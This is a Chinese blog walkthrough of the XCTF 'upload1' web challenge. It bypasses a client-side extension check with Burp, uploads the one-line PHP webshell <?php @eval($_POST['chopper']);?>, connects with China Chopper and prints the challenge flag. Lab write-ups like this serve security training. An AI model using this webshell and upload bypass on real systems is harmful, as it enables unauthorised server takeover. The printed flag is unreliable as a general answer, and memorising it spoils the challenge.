# 攻防世界WEB进阶之upload1

## 原创

harry\_c ● 于 2019-10-03 20:53:33 发布 ● 9710 ☆ 收藏 4
 分类专栏: 攻防世界 文章标签: upload1 攻防世界web进阶 渗透安全 攻防世界 网络安全
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/harry\_c/article/details/102017043</u>
 版权

C

攻防世界 专栏收录该内容

29 篇文章 2 订阅 订阅专栏

### 攻防世界WEB进阶之upload1

- 一、分析
- 二、实操
- 三、答案

难度系数: 1星 题目来源: 暂无 题目描述: 暂无 题目场景: 略 题目附件: 暂无

一、分析

#### 首先打开场景,上传文件进行抓包操作,发现存在部分js代码。

Request	Response
Raw Params Headers Hex	Raw Headers Hex
POST /index.php HTTP/1.1	while (i) {
Host: 111.198.29.45:59162	if (this[i] === obj) {
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;	return true;
rv:69.0) Gecko/20100101 Firefox/69.0	}
Accept:	}
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q	return false;
=0.8	}
Accept-Language:	
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=	function check(){
0.2	upfile = document.getElementById(''upfile'');
Content-Type: multipart/form-data;	submit = document.getElementById('submit');
boundary=1682 <b>7</b> 9961491	name = upfile.value;
Content-Length: 79099	ext = name.replace(/^.+\./,'');
Connection: close	
Referer: http://111.198.29.45:59162/index.php	if(['jpg','png'].contains(ext)){
Upgrade-Insecure-Requests: 1	submit.disabled = false;
	}else{
168279961491	submit.disabled = true;
Content-Disposition: form-data; name="upfile";	
filename="闄堝媷绠O鍘嗙収鐗囨洿鏂板弽鍙嶅O澶O.jpg"	alert('璇烽□夋嫨涓□寮犲浘鐗囨构浠朵笂浼□!');
Content-Type: image/jpeg	https://blog.csdn.net/harry_c

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
 submit.disabled = false;
}else{
 submit.disabled = true;

然而只是一个检查文件名的函数: ext = name.replace(/^.+./,`')删除文件的名称 if(['jpg','png'].contains(ext)): 检查后缀是否为jpg,如果不是就禁用按钮并弹窗报错。 上传png文件:

(←) → ⊂ <sup>(</sup> <sup>(</sup> )	<ol> <li>111.198.29.</li> </ol>	<b>45</b> :59162/ind	dex.php	
🗍 火狐官方站点 💮 (PNG 图像, 207	'x2 🔞 新手上路	📄 常用网址	🖨 京东商城	🖨 南京师范大学
upload success : upload/15 浏览… 未选择文件。	69829097.天雪 上传	空之城陶笛	完整版.pnq	g

访问上传的文件能够被打开:

	① 111.198.29.45:59162/upload/1569829097.天空之城陶笛完整版.png							
PNG 图像,	207x2	🕑 新手上路	☐ 常用网址	◎ 京东商城	➡ 南京师范大学			
					天空之城完整版			
					1-C 🐇 🕊 \$88259 GRIER ST 0-C IIN 2 20 -C			
					44 4444 4 44 4444			
					ALO O O 6 7 1 5 7 3 3 1 7 "3 3 1 6 5 6 3 1			
					2 22 2222 2 22 2222			
					5 12   4 2 4 1 2   3 12   7 9 9 7			
					2 22 2222 2 22 2222			
					7 167 1 5 7 1 3 1 7 13 1 6 5 6 1 1			
					4 44 444 4 444 444444 M			
					5 '3 3   4 1 7 1   2 3 1 - 0 "  1 7 5 5 7 5			
					2 22 22222 2 22			
					6 1 6 " <u>1 2</u>   3 <u>3 2</u> 3 5   2 " <u>5 5</u>			
					eeeee e merrire arrelharry c			
					1 1 7 1 3   3 *  6 7 1 7 1 2   1 5 5 - *			

但是访问http://111.198.29.45:59162/upload/显示页面访问是被禁止的



Apache/2.4.25 (Debian) Server at 111.198.29.45 Port 59162

使用IP伪造:



尝试失败

尝试一句话木马: <?php @eval(\$\_POST['chopper']);?> 上传成功但是使用菜刀无法连接



### 二、实操

其实之前使用中国菜刀没毛病的自己没有修改上传的文件的后缀导致文件上传上去为jpg格式可以连接

🔲 🍨 111.198.29.	45:51%. 🗀 111.198.29.45:51%. 🗈 111.198.29.45:51%.
http://111.198.29.	45:51789/upload/1569999324.s.jpg

后缀名成不正确是无法执行对应的语句的,所以需要绕过前端的文件后缀检查 通过burp抓包,将后缀名称修改为php即可

Burp htruder Repeater Window Help         Target Proxy       Spider Scanner       intruder Repeater       Sequencer       Decoder       Comparer       Extender       Project options       User options       Alerts       CO2       xssValidator         I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×         Boo       Cancel       I × 1 × I       I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×         Request       I × 2 × 4 × 5 × 6 × 7 ×       I × 1 × I       I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×         Request       I × 2 × 4 × 5 × 6 × 7 ×       I × 1 × I       I × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×         Request       I × 2 × 4 × 5 × 6 × 7 ×       I × 1 × I	💈 Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn — 🛛 🗡								×	
Target       Proof       Spliter       Scanner       Intruder       Repeater       Sequencer       Decoder       Comparer       Extender       Project options       User options       Alerts       CO2       xssValidator         1 × 2 × 4 × 5 × 6 × 7 ×       I × 2 × 4 × 5 × 6 × 7 ×       Target:       Target:       Number of the second of the secon	Burp Intruder Repeater Window Help									
I × 2 × 4 × 5 × 6 × 7 ×         Go       Cancel       × *         Request       Response         Raw Params Headers Hex       Response         POST /index.php HTTP/1.1       *         Host: 111.198.29.45:51789       Response         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0       HTTP/1.1 200 OK         Accept:       Date: Wed, 02 Oct 2019 07:19:16 GMT         Server: Apache/2.4.25 (Debian)       X-Powerd-By: PHP/5.6.37         Vary: Accept:       Vary: Accept-Encoding         content-Language:       Content-Length: 956         0.2       Content-Type: multipart/form-data;         boundary=51042263827990       content-Type: tupload success : upload/1570000756.s.php         content-Length: 220 <html>         Connection: close       <html>         Referer: http://11.198.29.45:51789/index.php       <html>         Upgrade-Insecure-Requests: 1       <html> </html></html></html></html>	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder	Comparer	Extender	Project options	User options	Alerts	C02	xssValidator		
Go       Cancel       V       V       Response         Raw Params Headers Hex       Response         POST /index.php HTTP/1.1       H       HTTP/1.1200 OK         Host: 111.198.29.45:51789       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)       Accept:         Vser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)       Accept:       Date: Wed, 02 Oct 2019 07:19:16 GMT         Server: Apache/2.4.25 (Debian)       X-Powered-By: PHP/5.6.37       Vary: Accept-Encoding         content-Type: multipart/form/shtml+xml,application/xml;q=0.9,*/*;q       Content-Length: 956       Connection: close         Content-Type: multipart/form-data;       boundary=51042263827990       elboundary=51042263827990       elboundary='Content-Type'' content='text/html; charset=utf-8''/>         Content-Length: 220       Content-Insecure-Requests: 1       emeta http-equiv="Content-Type" content='text/html; charset=utf-8''/>         Vpgrade-Insecure-Requests: 1       escript type="text/javascript">	1 × 2 × 4 × 5 × 6 × 7 ×									
RequestResponseRaw Params Headers HexResponsePOST /index.php HTTP/1.1HTTP/1.1 200 OKHost: 111.198.29.45:51789HTTP/1.1 200 OKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0HTTP/1.1 200 OKAccept: text/html,application/xhtml+xml,application/xml;q=0.9;*/*;q = 0.8Server: Apache/2.4.25 (Debian) 	Go Cancel <   v >   v Target: http://111.198.29.45:51789									/ ?
RawParamsHeadersHexPOST /index.php HTTP/1.1*HTTP/1.1 200 OKHost: 111.198.29.45:51789HTTP/1.1 200 OKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: Server: Apache/2.4.25 (Debian)Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q = 0.8Content-Length: 956 Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q= 0.2Content-Type: text/html; charset=UTF-8Content-Type: multipart/form-data; boundary=51042263827990upload success : upload/1570000756.s.php Content-Length: 220 Connection: close Referer: http://111.198.29.45:51789/index.php Upgrade-Insecure-Requests: 1wmeta http-equiv="Content-Type" content="text/html; charset=utf-8" />Context-Disaction form data; boundary=51042263827990Script type="text/javascript">Context-Disaction: close content-Disaction: close content-Length: 220Context-Requests: 151042263827990Context-Disaction: close context-Requests: 1	Request		Response	•						
POST /index.php HTTP/1.1       Image: Nozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       Date: Wed, 02 Oct 2019 07:19:16 GMT         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       Server: Apache/2.4.25 (Debian)         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ro:69.0       X-Powered-By: PHP/5.6.37         Accept: Language: Zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q= 0.2       Content-Type: text/html; charset=UTF-8         vary: Accept-Encoding       Content-Type: text/html; charset=UTF-8         vary: Accept-Encoding       Content-Type: text/html; charset=UTF-8         0.2       Content-Type: multipart/form-data;       Upload success : upload/1570000756.s.php         vary: Accept - Encoding       Vary: Accept - Encoding       Vary: Accept - Encoding         Content-Type: multipart/form-data;       Vary: Accept - Encoding       Vary: Accept - Encoding	Raw Params Headers Hex		Raw He	aders Hex						
Content-Type: multipart/form-data;       upload success : upload/1570000756.s.php         boundary=51042263827990          Content-Length: 220          Connection: close          Referer: http://111.198.29.45:51789/index.php          Upgrade-Insecure-Requests: 1         51042263827990          Content-Type: content="text/html; charset=utf-8" />        51042263827990          Content type: "text/javascript">	POST /index.php HTTP/1.1 Host: 111.198.29.45:51789 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q =0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q= 0.2	•	HTTP/1.1 Date: We Server: A X-Powere Vary: Acc Content- Content- Content-	200 OK d, 02 Oct 20 pache/2.4.2! ed-By: PHP/5 ept-Encodin Length: 956 on: close Type: text/h	19 0 <b>7</b> :19:1( 5 (Debian) 5.6.3 <b>7</b> 19 tml; charse	6 GMT t=UTF	-8			
Content-Disposition: form-data; name="upfile";										

mename="s.pnp"
Content-Type: image/jpeg

php @eval(\$_POST['chopper']);?
51042263827990

ttps://blog.csdn.net/harry\_

文件文件上传完毕,怎么连接呢?首先我们应该知道对应上传文件在服务器的位置 系统自动生成了文件名,但实际上是有迹可循的,是使用unix时间戳+文件名的形式 我们刚开始上传的文件有一个反馈的文件名

$(\leftarrow)$ $\rightarrow$	G	۵		i 11	(i) 111.198.29.45:51789/index.php					
	方站点		(PNG 图像,	207x2	ۏ 新手上路	📄 常用网址	🖨 京东商城	🖨 南京师范大学		
upload 浏览…	suc 未道	cess 封译文·	: upload, 件。	/15700	00745.s.jp 上传	g				

根据1570000745.s.jpg 文件名称,我们可以推测出修改文件后缀的文件名称通过加1的方式持续几次就能找到

۳

	(i)  111.198.29.45:51789/upload/1570000756.s.php							
NG 图像,	207x2	ۏ 新手上路	📄 常用网址	🖨 京东商城	🖨 南京师范大学			

终于找到了,可以开始使用中国菜刀进行连接啦! #关于中国菜刀的,我提供了一个版本,需要的童鞋自取下载链接是 https://download.csdn.net/download/harry\_c/11423598 啦啦啦,连接成功了

□ ● 111.198.29.45:51×. □ 111.198.29.45:51×. □ 111.198.29.45:51×. □							
Up //var/www/html/upload/							
	FileName	Time	Size	P			
🖻 💼 var	1569999779.1111111.jpg	2019-10-02 07:02:59	178	rw			
	1569999772.1111111.jpg	2019-10-02 07:02:52	178	rw			
html	1569998615.陈勇简历照片更新反反复复.jpg	2019-10-02 06:43:35	78881	rw			
uproad	1569999324.s.jpg	2019-10-02 06:55:24	33	rw			
	1569999719.1111111.jpg	2019-10-02 07:01:59	178	rw			
	1570000756.s.php	2019-10-02 07:19:16	33	rw			
	1570000704.s.jpg	2019-10-02 07:18:24	33	rw			
	1570000745.s.jpg	2019-10-02 07:19:05	33	rw			
	1569998920.1111111.jpg	2019-10-02 06:48:40	178	rw			
	1569999784.1111111.jpg	2019-10-02 07:03:04	178	rw			
l							

三、答案

最终我们终于找到了flag.php文件

🔟 💿 111.198.29.45:51×. ) 🖻 111.198.29.45:51×. 🗈 111.198.29.45:51×.						
Up /var/www/html/			•	Read		
	FileName	Time	Size	P		
🖻 💼 var	🛅 upload	2019-10-02 07:19:16	4096	rw		
	index.html	2018-09-12 01:54:42	11510	rw		
	index.php	2018-09-12 01:54:42	1386	rw		
_ upibad	flag.php	2019-10-02 06:42:44	63	rw		
	install.sh	2018-09-12 01:54:42	221	rw		
Folder(1),File(4)		https://t	谷安网校专门	<b>&amp;V1.9</b> 7_0		

#### 打开就是最终的flag



至此最终的flag为: cyberpeace{5424056c1c4d35b8fc267df74b70bdea}